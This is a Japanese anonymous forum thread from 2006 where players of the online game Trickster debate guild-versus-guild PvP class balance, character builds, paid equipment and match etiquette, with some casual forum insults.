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トリックスター〜Trickster〜GvGスレ
1 名前:名も無き冒険者投稿日:2006/05/11(木) 10:01:58 ID:g5BRMXet
無いからなんとなく立ててみた >
SPONSORED LINK
2 名前:名も無き冒険者投稿日:2006/05/11(木) 10:48:54 ID:FvOhopn5
まったりと2get >
3 名前:名も無き冒険者投稿日:2006/05/11(木) 11:11:30 ID:3Xp97c4f
やりたいねぇ(´ω`) >
4 名前:名も無き冒険者投稿日:2006/05/11(木) 11:25:35 ID:osCtr4Hf
まず条件を細かく指定できるテンプレが必要じゃないかな?
日にち、時間帯、バトルフィールド、人数
平均や最大LV、魅力の数、天馬などの移動課金アクセ使用の可否
個人的には大人数募って16対16の乱闘とかやってみたいけどw >
5 名前:名も無き冒険者投稿日:2006/05/11(木) 11:28:18 ID:g5BRMXet
>>3
イベント中は人少ないからね・・・・。つーか人いね〜w
しかも、最近過疎化してるし盛り上げたいねぇ(´ω`) >
6 名前:名も無き冒険者投稿日:2006/05/11(木) 12:03:16 ID:P6K5aYMi
ウサギいたらGvなんて成立しなくね?
あれおかしいだろ >
7 名前:名も無き冒険者投稿日:2006/05/11(木) 17:07:02 ID:g5BRMXet
>>6
確かにウサギ強いよね。HP高くて回避高いウサギとか強すぎw
スロモかバリアブレイク無いと1確出来ないしw
だが、回避高くてHP高い人は強いと思うが・・・・。
魔が一番弱いと思いますよ何にでも殺されるし
そんな俺は魔を使っているわけだが・・・orz >
8 名前:名も無き冒険者投稿日:2006/05/11(木) 17:52:11 ID:EmwZlpAC
>>7
魔弱いよな…
俺も魔なんだが、今後どう育てるかということでギルメンと話してる…とりあえず試しに改造していざ試合と思ったらその日に限ってメンバー集まんねー >
9 名前:名も無き冒険者投稿日:2006/05/11(木) 18:15:16 ID:g5BRMXet
>>8
うはっwドンマイw
対人用の魔の育て方か〜w難しいよね・・・・。
そういや、俺はJ鯖だがF鯖と違いってあるのかな? >
10 名前:名も無き冒険者投稿日:2006/05/11(木) 18:32:25 ID:6IsZIua6
魔弱いとか牛に謝れ >
11 名前:名も無き冒険者投稿日:2006/05/11(木) 22:12:48 ID:BtVvLmHK
糞スレがまた増えた >
12 名前:名も無き冒険者投稿日:2006/05/11(木) 22:14:19 ID:rlCBiUgy
牛はブレフォが強いだろ
クリはいれば10kは余裕で越える >
13 名前:名も無き冒険者投稿日:2006/05/12(金) 10:28:42 ID:FbUMVokc
シャワーの方が強いけどな >
14 名前:名も無き冒険者投稿日:2006/05/12(金) 13:22:42 ID:GJxApCvK
>>9
俺はFだがJは高レベル(200以上)の対戦が多いと聞いたよ。Fは120〜180が多いね。
Gv用の魔は羊なら1414で装備とBPでHP・回避・幸運をバランスよくふり敵の足止めを主とし、
龍なら1414か1423でBPはすべて魔力に振ってブレフォ・FHや地雷に耐えるHPを確保しつつ
攻撃型を確殺することに専念したほうが良いと思う。
魔もそれほど弱くないよ。スピンもダメージだけ見れば強いけど溜め時間や硬直が長いから
敵倒した直後に自分も倒されるようなケースが多い。 >
15 名前:名も無き冒険者投稿日:2006/05/13(土) 05:06:58 ID:4e3JCARa
<>
装備変わってはじめてギルバトをしたんだが前に比べると全然違うね。
自分魔なんだが魔は感知に勝てないといわれてても倒せた瞬間嬉しかったわ(まぁ相手が幸運にふってないことぐらいわかってしまったが)
相変わらず自分ミラーついてるのに魅力に攻撃してしまうが自滅も防げるようになったし
お陰で初めて紋章てに入れたよ
でも一番大切なのはチームワークというのがよくわかった
</>
で、結局このスレはなくなるの?
>
16 名前:名も無き冒険者投稿日:2006/05/14(日) 03:38:01 ID:giIXVXP/
久しぶりにGvGやり始めたが・・・
兎大暴れだなぁ羊じゃ勝てる気ぜんぜんせんわ
兎3体も入れといてスタン無しでとか書いてるとこはあほかと
あと圧勝しときながら終了後にこっちが誤爆ってリバ撃ちしたのとか
その程度のことで文句つけてくるのとかたまらん、勝ってんだからええだろが
細かい暗黙の了解なんてもんなくて普通にやりあってた頃がよかった・・・ >
17 名前:名も無き冒険者投稿日:2006/05/14(日) 13:42:03 ID:uwFwX97x
>>16
スタン無しって初めて聞いたw
兎の弱点てスカ・スタンとシャワーなのにその弱点なしでって何言ってんだ・・・
そんなのやる前から厨ギルドって分かるだろ。そんなのとやるからぐだぐだ文句言われるんだよ。
そんなときは素直に謝っておくと楽でいいぞ。
雷羊は補助専門だからね。ぬめ型の魔力高い羊ならスタンでとめてシャワーで殺せるだろうけど
それだと牛や狸にすぐ殺されてしまうしね。
兎に勝つのが役割じゃなく足止めした兎を他の人に倒してもらうのが役割だよ。
猫も一緒だけど最低記録連発してもその分他の人がヒット数叩き出すんだから気にすることないさ。 >
18 名前:名も無き冒険者投稿日:2006/05/15(月) 14:35:33 ID:+1Ccp3HX
なんか最近イベントでGv参加するGが増えてそれに便乗してポイント上げてるGが多いな。
昨日久々にGvして2000p越えのGの多さにさすがに驚いたwww
ちなみに鯖はJ鯖な。 >
19 名前:名も無き冒険者投稿日:2006/05/20(土) 16:10:00 ID:Pa3IrkEt
>>魔の人
っ[フル課金+ガチャ装備] >
20 名前:名も無き冒険者投稿日:2006/05/26(金) 13:47:30 ID:Xd4pzV93
>>魔の人
っ「ダークミスト」
これ使えば兎に負けることは0%になります。
あとはしゃわーで一確だろ。
俺的考えだと最強は狐。
対魅以外なら地雷で近寄ることすらできずに終わる。
対魅ではあれだ、一番勝率があるのは龍なきがす。
フリーズ使えば楽勝だろう。DMで受けるダメージもかなり減るし。
猫は見た目強そうだが一確できるスキルがないから俺としては一番楽。
でどの職を何人入れてるとか平均下げでいちいち文句つけんなよ。
開始前にある程度戦力確認できるだろう。Lvいくつですかーとか聞いたり。
以上、ギルドマスターを務めている龍でしたっと。 >
21 名前:名も無き冒険者投稿日:2006/05/26(金) 15:14:08 ID:YS/sdKLx
>>20
親切な俺様が低脳龍にアドバイスしてやるよw
>「ダークミスト」
兎とかちあった場合、UCだとミスト間に合いませんが?
それ以外にも、兎側にはFLって選択肢もある。
装備そろえてたりBGついてる兎ならシャワー耐えることもしばしば。
まあ、SRバカみたいなザコ兎とばっかやってる低レベルGならわからんのもしかたないかw
>最強は狐
地雷は必中でない上に、キャスト長い&即発生しない。
野良ならまだしも、ほかの場所だと兎やら獅子やらに捕まって落とさせ役乙。
>フリーズ使えば楽勝
手練にはフリーズ意味なし。
ほぼ確実に潰される(相手全キャラ範囲にいれ、かつ成功したとしても、だ)
ギルマスが(Pスキル)低いと大変ですけど^^;
これからもがんばってくださいね♪ >
22 名前:名も無き冒険者投稿日:2006/05/26(金) 18:35:33 ID:t5CBeQt0
っていうか、猫にマナブレイク粘着されると龍とか終わる気するんだが… >
23 名前:名も無き冒険者投稿日:2006/05/26(金) 19:13:16 ID:mDaSpbAg
>>21
相手の兎が天外装備でもDMのほうが普通に早い、Pスキルなさすぎ >
24 名前:名も無き冒険者投稿日:2006/05/26(金) 23:08:03 ID:Uyd7XgCy
ダッシュ >
25 名前:名も無き冒険者投稿日:2006/05/27(土) 14:13:17 ID:psc+oJbz
ダッシュ後でもクリック先ならFOLだろうとSRだろうとDMが先だぞ >
26 名前:名も無き冒険者投稿日:2006/05/27(土) 14:29:27 ID:psc+oJbz
勘違いしてる人多いが魔にはガチャ装備の恩恵少ないぞ
ベルトとパールでHP増強とサラ護符で幸運増強ぐらい
それにしたって他職は命中や攻撃など一緒にあがるのにそれらは魔に関係ない、回避ももともと低いのがあがっても意味ない。
魔用神アクセまだー? >
27 名前:名も無き冒険者投稿日:2006/05/28(日) 06:19:42 ID:M2FMFmZh
最近思うのが、この頃のガチャ装備の性能が良すぎるから魅力型でもないのに、火力やHPを保ちつつ回避100越えてるような奴がたくさんいるよね。
検証したけど回避107の時点で命中250のスピンが半々くらいの確率しか当たらない。
こうなるとウサの命中でさえこんな確率なのに他職の攻撃が当たるわけがない。
でも獅子はスキルが必中だから回避に関係なく当たるよね。
そこで思うのが、今一番先が明るい職は銃獅子だと思うね。
相手の攻撃は避けれて少々当たっても死なないHPもあるし。
んで相手の回避に関係なく必中スキルで確実に削れる。
回避高くてダメ通りにくかったらスロモもあるしね。
回避高くてHPもそこそこで必中スキルで火力抜群の獅子が一番きつい >
28 名前:名も無き冒険者投稿日:2006/05/28(日) 07:32:11 ID:xOdxGm9j
>>27
ガンナーで3142は盾装備できないし魅力2だから意外とマゾいのよorz >
29 名前:名も無き冒険者投稿日:2006/05/28(日) 14:59:27 ID:bGwOpsN7
じきに、PS・RSも必中じゃなくなるでしょ
それでも命中極で幸運上げやすい銃獅子は、強キャラの1つに変わりないが >
30 名前:名も無き冒険者投稿日:2006/05/28(日) 15:00:49 ID:NEoYbY6U
>>28
それこそガチャ装備で魅力2の部分補えばいけるんじゃないのかな?
わかってないって?スマン今育て始めたばかりだから…最終ステ1144になる予定だけど後日実感してみるわ
だけど幸運なかったら今度は魔にやられるね…っと相手がどうであろうととりあえず魔法をうつ龍が申しております >
31 名前:名も無き冒険者投稿日:2006/05/28(日) 21:37:18 ID:M2FMFmZh
確かに魅2で何の対策もしなかったらぬめだけど、天外とHP合成のテラベルトとネックレスだけで6KほどHP増えるよ。
それに加えやろうと思えばテラ帽もあるし。
それに全部HP合成しても回避は39あがって命中は25上がるし。
ちなみに天外はHPつけれないから回避か命中だね。
そう考えた時にやっぱこれだけ課金装備が強いと獅子だけスキルが必中仕様ってのはGvではかなりでかいし、鷹の目あったらダメもかなり痛いしね。
魅力で回避170あっても鷹の目状態の獅子にはPSで5K近くもらったことあるし。
このままダブルショットとか来て必中で一確されかねない威力になるとGvは獅子ゲーになりかねん。
いくら魅力が耐性あっても関係なさそうだし。 >
32 名前:名も無き冒険者投稿日:2006/05/28(日) 21:45:03 ID:SBlleIjv
フル課金獅子オンリーギルドと対戦したことがあるがこっちも全員フル課金でたぬぬがいるロイヤルだったんだが
長い射程ととんでもない火力とでボロボロにやられましたがな(´・ω・`)
>
33 名前:名も無き冒険者投稿日:2006/05/30(火) 10:14:54 ID:ZkSQB/QE
俺は魔を使っているが、最近は回避装備の獅子が多いから
シャワー+槍で相手のPS+RSで死ななければ以外に倒せると思うが
ただ出会い頭にシャワーを打つのではなく
相手に一回PS+RSを打たせてからシャワーを打つようにしている。
乱戦になるとごちゃごちゃでわからなくなるがなwww >
34 名前:33投稿日:2006/05/30(火) 10:16:07 ID:ZkSQB/QE
>>33
書き忘れた。なぜ一回打たせるかはRSのクールが5秒だからな >
35 名前:名も無き冒険者投稿日:2006/05/30(火) 14:17:16 ID:XD6MhCSW
ここで複合ぬめの登場ですよ
デフォはPS→AA
PS撃った後に素敵な鬼ごっこが始まります >
36 名前:名も無き冒険者投稿日:2006/05/30(火) 14:24:01 ID:38871WlR
素直にPSRSかAARSかFHRSの方がよくね? >
37 名前:名も無き冒険者投稿日:2006/05/30(火) 14:30:33 ID:SOai0+Gn
>>21
こ・・こいつぁ!釣りか?いや釣られてやる!
ダークミストは発動1秒でしかも遠距離なのでFolしようがダッシュしようが無意味。
むしろFolすると幸運が上がる。
猫以外ならほぼ必中。あたらないなら狐の命中が低すぎるだけ。
即発動しない・・・って敵が目の前にきてから地雷投げようとしてるお前だからな。
そりゃ負けるわ。
手練にはフリーズ意味なし・・・・アホか。
潰されるってどうやって?フリーズかかってると移動もスキルもPOTもできない。
もう一度wiki見直せ。 >
38 名前:名も無き冒険者投稿日:2006/05/30(火) 15:24:27 ID:zEyI5ue0
>>33-34
たまにPS>RS>FHと3連くる獅子がいて厄介。
ガンナーは倒せること多いけど幸運装備の幸運パンチャーになられるとお手上げだね。
>>37
>>21ではないが、代わりに釣られておこう。
フリーズ発動前にスキルタゲっておくと
フリーズ発動>タゲっておいたスキル発動>フリーズ解除
という流れになる。
だからフリーズを使う際は必ず相手のスキルを一度受けてから使わないと潰される場合がほとんど。
それでもスキル食らう>フリーズ溜め>他のスキル溜め>フリーズ発動>スキル発動>フリーズ解除なんてのも多い。
1:1じゃほとんど使えないスキルだよ。1:多なら尚更難しい。
>
39 名前:名も無き冒険者投稿日:2006/05/30(火) 15:31:27 ID:zEyI5ue0
えーっと、つまりスキルをタゲって移動してる間や発動までの溜め時間中に
フリーズしても相手はとまってくれないってことね。で、その発動したスキルで解除される、と。
個人的にこれは不具合だと思ってるんだけど… >
40 名前:名も無き冒険者投稿日:2006/05/30(火) 16:12:11 ID:ZkSQB/QE
>>38
確かに一回倒すと3連してくる獅子がいるな
FH獅子はもう魔はどうすることもできないねwwww
FHで1確されるようなら俺はHP装備にして、
そしてひたすら逃げまくるwwwww
フリーズについてはトイレやボルケ以外のマップで
相手に魅力のみが残った場合に有効だと思う。
もちろんこっちが複数のときにね。
まあ、魅力に限らず単体で残った場合は有効かと。
フリーズの使用タイミングは確かに難しいね
>>38がいうとおりフリーズ発動前の相手のスキルについては
そのまま発動するからフリーズ解除されちゃうもんね。 >
41 名前:名も無き冒険者投稿日:2006/05/30(火) 16:54:05 ID:gHpAx/sq
>>38
まじか!そいつぁすまんかった。俺無知乙 >
42 名前:名も無き冒険者投稿日:2006/06/08(木) 20:32:19 ID:eWzk7PSb
スカン連続かけしてくるぬこに遭遇
俺もぬこだけにこれだけは避けてきたが勝つためには厨にならなきゃむりなんかな…
そんなんなら俺は勝ちたくないわ >
43 名前:名も無き冒険者投稿日:2006/06/09(金) 10:45:38 ID:jLhjQfb8
>>42
そうなんだよな。基本的に魅力以外にはスカかけないようにしてる。
しかし度重なるガチャの追加でどの職もHPも回避も高くなり今の命中・回避仕様じゃ他にすることないのもまた事実…
ギルメンにはうざがられるのは魅力の宿命だからスカ連発は仕方ないとか言われたけど正直あまりやりたくない。
マナブレもマスターしてるけど、メイン魔だからマナブレ粘着も好きじゃないしね。DMされた時の仕返しに使ってるぐらい。
>
44 名前:名も無き冒険者投稿日:2006/06/09(金) 11:34:25 ID:O1E4uocG
ヌコゎ俺なんて言わないお >
45 名前:名も無き冒険者投稿日:2006/06/09(金) 11:56:31 ID:v/OiwhUx
ハイキックは余程じゃないと1確できるようなスキルじゃないし、そもそも当たらない
スカンキとマナブレないと敵から無視られオタオタしてるだけの存在に成り下がるよ(´・ω・`)
そんな俺は無課金Lv100Gv特化のぬこ >
46 名前:名も無き冒険者投稿日:2006/06/09(金) 12:47:20 ID:jLhjQfb8
つまり猫=うざい存在ってことだねb >
47 名前:名も無き冒険者投稿日:2006/06/09(金) 13:34:49 ID:Vhvgb3BJ
最低限リバ直をやらないのを前提として
Gvにて敵にウザく思われない奴は存在意義がないと思う。
>
48 名前:名も無き冒険者投稿日:2006/06/09(金) 13:47:52 ID:jLhjQfb8
ごもっとも。
勝つためにやるのか楽しむためにやるのかって思想の違いはあるだろうけどね。
個人的にはスカ連発は格闘ゲームでハメ技使ってるようなイメージかな。
ステータスもスキルも関係なく固められて倒されてばかりだとやられるほうはつまんないよね。
固める方は敵に突っ込んでってもなかなか沈まない無敵キャラみたいなもんだし。 >
49 名前:名も無き冒険者投稿日:2006/06/09(金) 15:18:56 ID:5S8CflzK
その癖そっちは魅力が多いのでスカなしにしてくださいとかBGなしにしてくださいとか注文が多い
条件のんで初めてみると電気羊の連続足止め
どうみてもはめられました
どもありがとうございました。 >
50 名前:名も無き冒険者投稿日:2006/06/09(金) 16:52:06 ID:jLhjQfb8
その癖がどの癖かは知らないけど、雷あるのにスカなしBGなしはおかしいね。
でも雷は対策あるけどね。回り込んだり攻撃にFLしてもらったり。回復もできるし。
>
51 名前:名も無き冒険者投稿日:2006/06/11(日) 02:43:07 ID:w7r3kV/t
どうでもいいけど、格ゲーに例えたらハメ技より1撃死技の方がえげつないと思う >
52 名前:名も無き冒険者投稿日:2006/06/11(日) 13:38:06 ID:oH1vXL5C
>>51
それは単なるレベル差か相手の装備が高性能なのかじゃない?
一撃死は逆にあきらめつくから構わないけどな
>
53 名前:名も無き冒険者投稿日:2006/06/11(日) 20:00:13 ID:HFWkoB2T
確かに一撃死のほうがえげつないね。
ただ、魅力にとって一撃死と呼べるスキルが無いのが問題なだけで。
所構わず突っ込んできてスカやマナブレしてくれるから嫌われるんだよな。
ってことでもう
回避どれだけあげても回避率は20%がMAX
MGBは反射するだけでダメージカットなし
銃防御は回避依存から命中依存に修正
にでもなればスカが叩かれることなくなると思うよ。 >
54 名前:名も無き冒険者投稿日:2006/06/15(木) 00:10:03 ID:jtMvfgev
143の龍で勝てなくて困ってるんだがどうすればいい?1423型
HP9k
魔200
幸80強
サラ護符にはHP
スノー盾に幸運
トレモニ帽 魔
杖 HP
ドリベス2 HP
何回もGvやって気づいたことといえば格上の相手に勝てる気がしないんだが。。
>
55 名前:名も無き冒険者投稿日:2006/06/15(木) 00:29:21 ID:bx7QyBN0
>>54
まず盾をHPに。総HPが11kになればそうそう落ちないはず。
幸運はもう捨てた方がいい。魔同士の撃ち合いになると幸運140ほど
必要になってくるので、無理なら幸運はすっぱり切ってしまうべし。
戦い方は主に補助。攻を見つけ次第、即効DM。対魔・感は諦める。
攻・猫・狸に必ずDM。機会があるならフリーズも織り交ぜる。
現状況は兎をいかに抑えるかが勝負の分かれ目になってくるといっても
過言ではないので、天敵の魔の振る舞いがかなり重要。
魔力200で最近の攻を一確するのは難しいので、
リング→シャワ→リングorリング→槍→リングでつなげる。
補助に本格的に回るとしたら光のトリートメントもいいかもしれない。
(ダークバリアがやばいので闇の方がいいかもしれないが……)
一番の心がけは「倒すことばかり考えない」こと。
頑張ってくれ。 >
56 名前:名も無き冒険者投稿日:2006/06/15(木) 02:09:21 ID:N/htcpRa
>>54
1432型でがちゃ装備が結構あるから参考にならないかもだが一応
もしいけるならがちゃにも手を出してるみたいだから、ここはやっぱりドリベス2よりはテラベルトがほしい所。もちろん合成はHP。
あとせっかく課金杖もってるんだから、精錬は出来るとこまでする。普通に高レベル並の杖の威力になります
>>55の言うとおりにするなら更にサラの護符は幸運を合成がいいかと
また天外に幸運か魔力どちらの合成になっているかにもよる。
多分魅力3だからそれぐらいでHPは10Kこえているだろうから、見た目こだわらないなら新しいマントに幸運つけてもいいかもしれない。
戦闘ならDM補助としてもそうだがメンバーに魅力がいてスカンが使えるなら、二人で組んでスカンしたらイビルをかければ倒せる。(卑怯かと思うかもだがこれも戦略。)
意外とイビルは使えるからポイント的に無理がなければ取ることをおすすめする。
一確できない攻撃型、最近流行の回避ガンナー獅子はほとんどかかる。相手は攻撃もしてくるが回復もするというぶぶんで攻めていってもいいし、逆にやられると思ったら放置。相手のPOTを削らせる。
こんな感じかな?
>
57 名前:名も無き冒険者投稿日:2006/06/15(木) 21:34:11 ID:jtMvfgev
返信どもです
HP盾ミスッテ前捨てたのでそろえますね。
DMはTMが3ほどたりないので後々とる予定です
リングとるほどないですorz
杖は一応精錬して4までいきました。
天外は魔に振ってます。
アクセは天外とサラで
ドリベスやめてテラベルト狙ってみますね。
マントってカンパニークライトですか?
あれってファッションのとこにはいるんですか?
>
58 名前:名も無き冒険者投稿日:2006/06/15(木) 23:18:13 ID:f9C72GYw
>>57
魔についてほぼ知識ないんですがカンパニーはファッション装備
天外・ペットに並ぶ課金出来るなら必須といっても過言ではない一品です
とりあえずそのリーズナブルさに驚いて下さい >
59 名前:名も無き冒険者投稿日:2006/06/16(金) 02:53:13 ID:gi8W4gaS
>>54
失礼だけどそれじゃ弱い
魔は幸運がなけりゃ話にならんよ
lv.160
HP9K 魔力350 幸運200 魔防2000
1432闇龍からでした
>
60 名前:名も無き冒険者投稿日:2006/06/16(金) 08:08:56 ID:/Fgh1In1
>>37はとりあえず、どのくらい低いレベルの話をしているんだ?
地雷必中とかいつの話だよ。当たらないなら狐の命中が低すぎとかもうね。
とりあえず、必中に必要な命中を出してみた。
200付近だと回避120くらいが当たり前、回避とHPを増やすために
感知300が精一杯。
スロモ掛けても50しか下がらないから相手の残り回避は70
必中に必要な命中は相手の回避(70)×2.5+(50?)くらい
狐で命中200とかねーよwwwww
まぁ、最近話題の所持極が命中重視装備+鷹の目なら命中200いきつつ
威力のある袋を投げることも可能だが、今度は幸運がしょぼくて魔法に殺されるな^^
>
61 名前:名も無き冒険者投稿日:2006/06/16(金) 10:36:19 ID:uBxGTeFV
>>59
失礼だけどそれも弱い
幸運はもちろん必要だが
魔はHPと回避がなけりゃ話にならんよ
>
62 名前:名も無き冒険者投稿日:2006/06/16(金) 11:46:50 ID:ZOCfDfxi
GV出るならLV120辺りでもHP10kは超えてないと使えねー
魔力が280前後、幸運150↑
MS、ガチャの良合成必須だがな >
63 名前:名も無き冒険者投稿日:2006/06/18(日) 00:32:34 ID:lkhLxOOr
魔力280〜とかどうやったらそこまであげれる?
トレモニ帽子に天外くらいしか魔上げれるのないと思うんだが。。
レベ160で魔力350って・・・。
>
64 名前:名も無き冒険者投稿日:2006/06/18(日) 01:15:00 ID:oKRLnT3E
>>63
61の感覚がどれほどか知らんが、59のステはおかしいほど強すぎ。つかありえん。
課金合成でほぼ最高数値が出てかつ傘のペットでも魔力350の幸運200はいかないだろ。
160じゃ。どんなステフリでどんな装備だよ、と全身課金装備の170龍がいってみる。
ま、他の連中がどんだけ腕が良いとか手先が器用なのか、ただ単に俺がへたくそなのかは知らんけど
魔は弱すぎ。あり得ないほどに弱い。攻撃の一撃に耐えられず、感には当たらない上に銃、地雷で死亡
魅力に至っては反射で自滅って。
マホトーンみたいな相手のスキル封じる魔法やPTをサポートできる集団回復魔法とかないと
魔はいつまでたっても足を引っ張る存在になりそうだな。 >
65 名前:名も無き冒険者投稿日:2006/06/18(日) 04:10:24 ID:0HxfLS1x
VIPPER死ね >
66 名前:名も無き冒険者投稿日:2006/06/18(日) 04:34:37 ID:6WMYBIsX
まぁ攻撃型からしたら魔一番怖いけどね^^;
>
67 名前:名も無き冒険者投稿日:2006/06/18(日) 06:52:33 ID:OHhz+8dN
>
68 名前:名も無き冒険者投稿日:2006/06/19(月) 15:37:42 ID:G6Q28Cbr
>>64
FWして、って意味じゃない?そういう意味ならレベル100の俺も魔力300近い。 >
69 名前:名も無き冒険者投稿日:2006/06/19(月) 16:17:19 ID:2tRSjZgx
何当たり前の事言ってるんだ? >
70 名前:名も無き冒険者投稿日:2006/06/19(月) 17:44:54 ID:MQK9cnUq
レベル120
トレモロステッキ
トレモロミニハット
ノイズシールド
天外春風部
メイメイの手ぬぐい
カンパニークライト
安眠マスク
テラのベルト
ヴィオリナ
HP1386
MP9780
魔力(FW)302
幸運(一周年)186
GvG楽しいよ。 >
71 名前:名も無き冒険者投稿日:2006/06/20(火) 08:33:12 ID:XqpTE22R
HP即死クラスですね! >
72 名前:名も無き冒険者投稿日:2006/06/20(火) 10:12:45 ID:MOirK66h
武士装備でスキルなしでひたすらなぐりGvしたい俺野武士 >
73 名前:名も無き冒険者投稿日:2006/06/20(火) 11:07:19 ID:e/mjIplE
武士装備の兎はかわいい >
74 名前:名も無き冒険者投稿日:2006/06/20(火) 14:12:42 ID:mA8poNuf
>>70
ちょ、そのHPはヤバスw >
75 名前:名も無き冒険者投稿日:2006/06/20(火) 14:22:42 ID:M80hJkRf
まさか1441でGvG、PvPキャラ作ったとか?
ありえねw >
76 名前:名も無き冒険者投稿日:2006/06/20(火) 19:24:38 ID:F3b5A/Bv
Lv166
HP9.5k
魔力361
幸運120程度
最近の龍はHP多杉ガチャ乙だから勝ち難いが攻撃型は大体沈められる >
77 名前:名も無き冒険者投稿日:2006/06/21(水) 23:59:31 ID:H+G/P00g
自分が思うにいくら確れる魔力や当たる幸運あっても、HPが10K以下や回避がクソだったら怖くないねやっぱり。
Gvは団体でやるから攻型を確ろうとしてる魔を他が確ればいいだけ。
たぬぬとかだとワンペアで10K出すなんてわけないよ。
それよりHPや回避高くて補助しつつ攻型にDMとかシャワーされたほうがきつい。 >
78 名前:名も無き冒険者投稿日:2006/06/26(月) 12:17:58 ID:W7lwrx49
つまり、たぬぬ最強ってことでいいんだな >
79 名前:名も無き冒険者投稿日:2006/06/26(月) 20:13:02 ID:xXj3QvQO
ローズガーデンに傭兵控え室を作る運動を誰かしませんか?
GB控え室でダラダラと看板出されてるのを見るとムカつきます。 >
80 名前:名も無き冒険者投稿日:2006/06/27(火) 11:13:58 ID:AOEl2Lek
>>79
自分のPCがへぼくて重いからって他人を追い出そうとするなよ。
余計な一言書いたせいで自己中にしかみえない。 >
81 名前:名も無き冒険者投稿日:2006/06/27(火) 12:30:03 ID:MIoP2p82
>>80
拾ってもらえない傭兵乙w >
82 名前:名も無き冒険者投稿日:2006/06/27(火) 13:01:54 ID:oRGRVQIO
>>81
はいはいキモスキモス
狐の地雷が当たるとか言ってる奴は狐でGvやったこと無いんだろ、
地雷の命中知ってるのか?AAの命中の条件の式の結果-20だぞ?
命中150ぐらいでやっと回避捨ててる魔やらに必中って所だ。
兎になんか経験上命中率3割切るよ、当たってる奴はよっぽど回避足りてない。
Gvで最強の職ってのは知らんけど、回避の無い狐がネタってのは知ってる。
GvGルームに狐少ないよ狐 >
83 名前:名も無き冒険者投稿日:2006/06/27(火) 13:02:42 ID:lq/yFmk/
>ローズガーデン
むしろチャンネルチャット立ててそこでやればいいんジャマイカ? >
84 名前:名も無き冒険者投稿日:2006/06/27(火) 13:02:44 ID:AOEl2Lek
>>81
(´;ω;) >
85 名前:名も無き冒険者投稿日:2006/06/27(火) 14:38:10 ID:UnWJi6b5
>>82
地雷の命中値52なのか?
HKと12しか違わねぇじゃん
だいたいBEないってのに今の課金前提Gvで当てようってのが間違いだろ >
86 名前:名も無き冒険者投稿日:2006/06/27(火) 14:56:37 ID:YdGrFbBE
>>85
回避2,5倍計算 >
87 名前:名も無き冒険者投稿日:2006/06/27(火) 15:30:01 ID:UnWJi6b5
>>86
必中計算式は
回避×2.5+スキル命中値
スキル命中値が12違うなら必中に必要な命中が12変わるだけ。 >
88 名前:名も無き冒険者投稿日:2006/06/27(火) 15:32:44 ID:MWjiwoPn
メンテ終わったぞ >
89 名前:名も無き冒険者投稿日:2006/06/27(火) 15:38:33 ID:MWjiwoPn
ログインしようとした奴乙w
↓ >
90 名前:名も無き冒険者投稿日:2006/06/27(火) 20:38:38 ID:Cf1/k6ZF
>>37はすべてにおいて誤ってるなw
ダークミストで幸運あがる?
レベ150でも平気で攻撃3k↑時代に、ミストでそれ以上さげるんですかぁwww
ミストで3k下げるのに必要な魔力ってわかってる?400↑だよwww
オール合成最高値の完全魔極装備の方ですかぁ?
頭悪い子はPSで確殺されてくださいね♪ >
91 名前:名も無き冒険者投稿日:2006/06/27(火) 23:10:40 ID:Fzkp0Jse
厨って最近特に増えたよなぁ >
92 名前:名も無き冒険者投稿日:2006/06/29(木) 20:39:06 ID:VRNcRFvm
龍の新スキルはいつ来るだろうか・・・
>
93 名前:名も無き冒険者投稿日:2006/06/30(金) 14:58:59 ID:h8QFFPog
最近光龍増えたな
スカンキーくらったのトリートメントで回復して喜んでるな
「うはwww」とか言ってる
何がそんなに楽しいんだ? >
94 名前:名も無き冒険者投稿日:2006/07/01(土) 05:23:50 ID:6cUo7ein
知るか馬鹿 >
95 名前:名も無き冒険者投稿日:2006/07/02(日) 18:35:13 ID:CyqZEd00
知り合いに4141命中極ボーナス合成全て命中の
LV220HP2.5kのぬめ獅子がいるんだがこれって強いの? >
96 名前:名も無き冒険者投稿日:2006/07/02(日) 19:32:03 ID:z759ZBy3
>>95
回避も多分幸運も低いだろうからどんな職にも弱いでしょう。
ぶっちゃけ同職のガンナーにやられておしまい(?) >
97 名前:名も無き冒険者投稿日:2006/07/02(日) 21:09:38 ID:nQaOG8O7
撫でられただけで死ぬな >
98 名前:名も無き冒険者投稿日:2006/07/03(月) 13:53:10 ID:rvbbGNDl
>>95
ただの馬鹿 >
99 名前:名も無き冒険者投稿日:2006/07/03(月) 14:13:50 ID:3yXQtxai
馬鹿すぎてキモイ >
100 名前:名も無き冒険者投稿日:2006/07/03(月) 15:10:18 ID:l0ZE9uAj
>>95
一対一ならめちゃめちゃ弱いと思う。
しかし、Gvなら後衛から相手のスキルクールタイムにつけこむ等
工夫すれば結構いけるんじゃなかろうか・・と言ってもやはり死に易すぎるな。
スキル必中だろうし、2.5kじゃボディガかかっても、大抵の攻撃で一撃というのが痛いな。 >
101 名前:名も無き冒険者投稿日:2006/07/03(月) 17:39:18 ID:XCf4erNf
スカン無しって条件出しといて雷乱発したら厨ってレッテル貼られる? >
102 名前:名も無き冒険者投稿日:2006/07/03(月) 18:09:21 ID:rvbbGNDl
当たり前
少し考えれば分かるだろ
だいたい、Gvで雷なんか使ったらおもしろくなくないか? >
103 名前:名も無き冒険者投稿日:2006/07/03(月) 18:25:40 ID:fBoHR7MP
それでは何に為のハンデをつけたんだって話にならないか? >
104 名前:名も無き冒険者投稿日:2006/07/03(月) 23:08:01 ID:7VZjBuuc
スカンは無条件で禁止でもよくないか?
当たればほぼ確実に落ちるし、何より対処法が存在しない。
同職同士の1:1で100LV差を跳ね返すスカンは他のどのスキルと比べても壊れている。 >
105 名前:名も無き冒険者投稿日:2006/07/04(火) 05:59:46 ID:R3IEMffZ
スカンと雷だと全然違うだろ。。
雷はマナブレイクで魔力下げれば効果ないし幸運で避けることもできる
それに比べてスカは防ぎようがない。
スカ禁止で雷ありは全然厨ではないと思うよ?
まぁ自分の主観だがね >
106 名前:名も無き冒険者投稿日:2006/07/04(火) 12:32:37 ID:qUgUr60d
むしろGvなのにタイマンで勝負を申し込む我がギルド
これが意外に盛り上がる
基本は1対1なんだが補助スキルの使用はリカバ以外あり
倒れたら次の人が戦うシステム
まぁ…受けてくれるギルド少ないがな… >
107 名前:名も無き冒険者投稿日:2006/07/05(水) 19:03:03 ID:JRGkgByX
>>105
マナブレで魔力が0かマイナスにするのはほぼ不可能じゃない?
避ける為に火力やHP削って幸運確保するのも考えられない
加えてスカは単体、雷は複数。
所持が少ない職だったりすると、なまじスタン中に回復できる雷の方がPOTに響いたりもする。
どっちにしろ乱発は厨って言われても仕方ないんじゃないかな。
